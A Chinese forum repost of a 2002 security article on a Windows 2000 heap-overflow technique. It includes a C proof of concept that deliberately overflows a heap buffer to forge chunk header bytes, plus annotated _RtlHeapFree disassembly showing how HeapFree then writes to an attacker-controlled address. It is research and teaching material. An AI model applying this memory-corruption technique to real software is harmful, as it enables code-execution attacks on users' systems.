永远的FLASH
级别:刀光雪影版主 威望:3 经验:1 货币:5852 体力: 来源:江苏 总发帖数:2264 注册日期:2002-02-11 |
|
查看 邮件 主页 QQ 消息 引用 复制 下载
Windows下的Heap溢出的另一种方法(WSS-Articles-02011)
Author: ilsy
Email: ilsy@whitecell.org Homepage:http://www.whitecell.org
Date: 2002-05-30
感谢:alert7、isno
Windows下的Heap溢出的文章现在并不多,isno写过一篇,我看了受益匪浅,但他实现的利用方法是
“假设我们分配完buf1之后向其中拷贝内容,拷贝的内容大小超过buf1的大小,即16字节,就会发生溢
出,当如果我们覆盖掉了那两个4字节的指针,而下一次分配buf2之前又没有把buf1释放掉的话,那么就
会把一个4字节的内容写入一个地址当中,而这个内容和地址都是我们能够控制的,这样我们就可以控制
函数的流程转向我们的shellcode了”,我下面描述另外一种利用方法,也算是给isno的那篇文章做一点 补充。
在Windows下也是可以像Linux下那样用free()对Heap溢出进行利用,在Windows下用HeapAlloc()函数
分配内存后的内存和映象和结构我就不说了,可以看isno的文档,在HeapAlloc()分配完内存后,每一块
内存的前面都包含一个8字节的管理区,这个管理区应该是下面的样子:
0 4 5 6 8
|不祥|Field|Flags|不祥|
这8个字节用于HeapFree时使用,假设我们分配2个32字节的内存,当向第一个32字节内存填充达38字
节内容时,这时,覆盖了第二个32字节内存的管理区的6个字节,如果这6个字节经过我们精心设计,我们
时可以控制程序的流向的。 下面代码演示分配2个32字节的内存,在调用HeapFree时发生错误:
#include <string.h> #include <stdio.h>
#include <windows.h> #include <malloc.h>
int main (int argc, char *argv[]) { HANDLE hHeap;
char *buf1, *buf2;
//一个32字节的缓冲区 char mybuf[] =
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
//在进程的默认HEAP当中分配内存
hHeap=GetProcessHeap();
//分配两块32字节内存 buf1 =
HeapAlloc(hHeap, 0, 32); buf2 = HeapAlloc(hHeap, 0, 32);
//把32字节的mybuf拷贝到16字节的buf1里面 strcpy(buf1,mybuf);
//更改管理结构 memset(buf1+32,0x99,1);
memset(buf1+32+5,0xff,1);
//释放内存 HeapFree(hHeap, 0,
buf1); //这里会出错 HeapFree(hHeap, 0, buf2);
return 0;
}
当程序在内存未释放前,内存映象是这样的:
0 32 40
|AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|0x99,0x00,0x05,0x00,0x00,0xff,0xxx,0xxx|
我们可以看到,管理区的前6个字节被我们改写了
第一个字节:必须大于0x80,我们改成0x99
第四个字节:必须小于0x40 第五个字节:第0和第3位必须置位,例如可以改成0x09,我们这里改成0xFF
我们可以分析_RtlHeapFree()的反汇编代码,这样可以知道为什么要这样改:
77FC9C97
mov al,byte ptr [esi+5] 77FC9C9A test al,1 //检查管理区的第5字节的第0位是否置位
77FC9C9C je 77FC9019 77FC9CA2 test dl,7 77FC9CA5 jne
77FC9019 77FC9CAB cmp byte ptr [esi+4],40h //检查管理区的第4字节是否小于0x40
77FC9CAF jae 77FC9019 77FC9CB5 or dword ptr [ebp-4],0FFh
77FC9CB9 mov ecx,dword ptr [edi+580h] 77FC9CBF test ecx,ecx
77FC9CC1 je 77FC9D03 77FC9CC3 cmp dword ptr [edi+584h],0
77FC9CCA jne 77FC9D03 77FC9CCC test al,8
//检查管理区的第5字节的第0位是否置位 77FC9CCE jne 77FC9D03 77FC9CD0 movzx
eax,word ptr [esi] 77FC9CD3 mov dword ptr [ebp-30h],eax
77FC9CD6 cmp eax,80h //检查管理区的第1字节的是否大于0x80 77FC9CDB jae
77FC9D03 //我们需要跳到这个地址 77FC9CDD push edx 77FC9CDE lea
eax,[eax+eax*2] 77FC9CE1 shl eax,4 77FC9CE4 add eax,ecx
77FC9CE6 push eax 77FC9CE7 call 77F89846 77FC9CEC test
al,al 77FC9CEE je 77FC9D03 77FC9CF0 mov al,1 77FC9CF2
mov ecx,dword ptr [ebp-10h] 77FC9CF5 mov dword ptr fs 0],ecx
77FC9CFC pop edi 77FC9CFD pop esi 77FC9CFE pop ebx
77FC9CFF leave 77FC9D00 ret 0Ch
用release方式编译上面代码运行,弹出如下窗口:0x77fca200指令引用的0x41414141内存不能为written。
这个41414141在那里呢?我们用softice跟踪可以发现如下代码:
77FCA1EF add
esi,-18h //这时esi指向管理区的入口处,也就是buf1-18h处 (这个18在不同的版本的Windows
2000上是不一样的,请根据不同的Windows 2000版本处理),那里正是我们可以控制的 77FCA1F2 mov
dword ptr [ebp-64h],esi 77FCA1F5 mov eax,dword ptr [esi]
77FCA1F7 mov dword ptr [ebp-68h],eax 77FCA1FA mov esi,dword
ptr [esi+4] 77FCA1FD mov dword ptr [ebp-6Ch],esi 77FCA200
mov dword ptr [esi],eax //写内存,发生错误 77FCA202 mov dword ptr
[eax+4],esi
有了上面的基础,我们就可以利用HeapFree()函数了,^_^
至于具体攻击程序的编写,请参考isno写的文章《Windows下的HEAP溢出及其利用》,方法是一样的。
|